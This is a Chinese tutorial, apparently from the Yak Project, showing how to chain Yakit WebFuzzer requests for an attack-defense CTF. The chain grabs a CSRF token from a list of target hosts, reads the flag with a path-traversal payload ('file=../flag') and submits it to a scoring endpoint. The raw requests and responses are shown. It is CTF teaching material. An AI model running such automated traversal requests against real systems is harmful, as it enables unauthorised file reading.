本文作者柏喵Sakura,预计阅读时间6分钟
这篇文章将使用 Yakit 的能力快速构建一个攻击脚本。
这里先整理好所有的靶机地址,并使用fuzztag按照行读取到host变量,host变量会被继承到后面的所有请求,因此只需要设置一次这个变量。
现在我们使用这个变量,向所有靶机同时发送请求,获取csrf token。
GET / HTTP/1.1
Content-Type: application/json
Host: {{p(host)}}
<form action="/" method="post">
<input name="file">
<input hidden name="csrf" value="26e65b25-0bee-49d1-a8c2-13678a9e58f8">
<button type="submit">Submit</button>
</form>
可以使用正则表达式数据提取器从 form 中提取 csrf token。
这里添加一个正则类型的数据提取器,我们要的csrf token明显是一个uuid,这里写一个uuid的正则来来提取这一块内容。
提取结果:
为了把csrf token传递到下一个请求中,先新建一个名为flag的请求,再在 fuzzer 序列的面板中设置变量向下传递。
此时,就可以在名为flag的请求中使用csrf这个变量了,现在我们构建请求:
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: {{p(host)}}
csrf={{p(csrf)}}&file=../flag
在这个请求中,使用fuzzer tag嵌入从上面获取的CSRF变量,打一个简单的目录穿越获取flag:
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/plain; charset=utf-8
Last-Modified: Thu, 07 Sep 2023 06:38:32 GMT
Date: Thu, 07 Sep 2023 07:57:13 GMT
Content-Length: 42
flag{c369b72b-c776-4771-8d7c-a56bc7bb1e07}
body就是flag的内容,不过严谨起见,可以写一个flag的正则来提取flag。
下面构建第三个包,提交flag
大多数 AWD 平台都会提供使用 curl 提交 flag 的命令,可以使用yakit的curl转数据包功能快速构建出提交flag的数据包。
POST /pushflag HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost:8080
Content-Length: 18
flag=flag{example}
略作修改,使用变量替换示例flag:
POST /pushflag HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: localhost:8080
flag={{p(flag)}}
顺利提交flag:
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Date: Thu, 07 Sep 2023 08:03:21 GMT
Content-Length: 7
success
- 全程使用 GUI 操作,多数简单的测试,不用写一行代码
- 可以配合 MITM 抓包使用,复杂包体不用自己构造,直接从 MITM 导入并修改变动部分即可
- 支持使用 FuzzTag 嵌套的方式进行编解码,也可以使用热加载 Yaklang 进行任意复杂操作
https://github.com/BaiMeow/TryYakitFuzzerSeri
END
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ
原文始发于微信公众号(Yak Project):AWD:WebFuzzer 序列快速构建脚本
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论